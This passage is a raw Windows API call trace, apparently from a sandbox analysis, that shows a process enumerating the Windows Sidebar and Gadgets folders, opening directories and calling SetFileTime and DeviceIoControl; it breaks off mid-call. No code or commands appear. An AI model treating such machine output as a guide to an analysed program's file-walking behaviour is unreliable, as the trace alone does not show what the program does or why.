hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0080.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4930 [0080.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe348 [0080.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0080.412] GetLastError () returned 0x12 [0080.412] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.412] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0080.416] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0080.416] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0080.416] GetLastError () returned 0x12 [0080.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.416] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0080.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.440] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.440] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.441] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.441] NtClose (Handle=0x178) returned 0x0 [0080.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.442] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 0 [0080.443] GetLastError () returned 0x12 [0080.443] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.443] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.443] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.444] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0080.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.444] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.444] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.444] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.444] NtClose (Handle=0x178) returned 0x0 [0080.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.445] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.445] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.445] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4950 [0080.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e1a0 [0080.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.447] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.447] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4970 [0080.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e2a8 [0080.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.448] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.448] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4990 [0080.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e3b0 [0080.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.449] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.449] GetLastError () returned 0x12 [0080.449] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.449] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.449] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.449] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.449] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.449] RtlAllocateHeap (HeapHandle=0x940000, 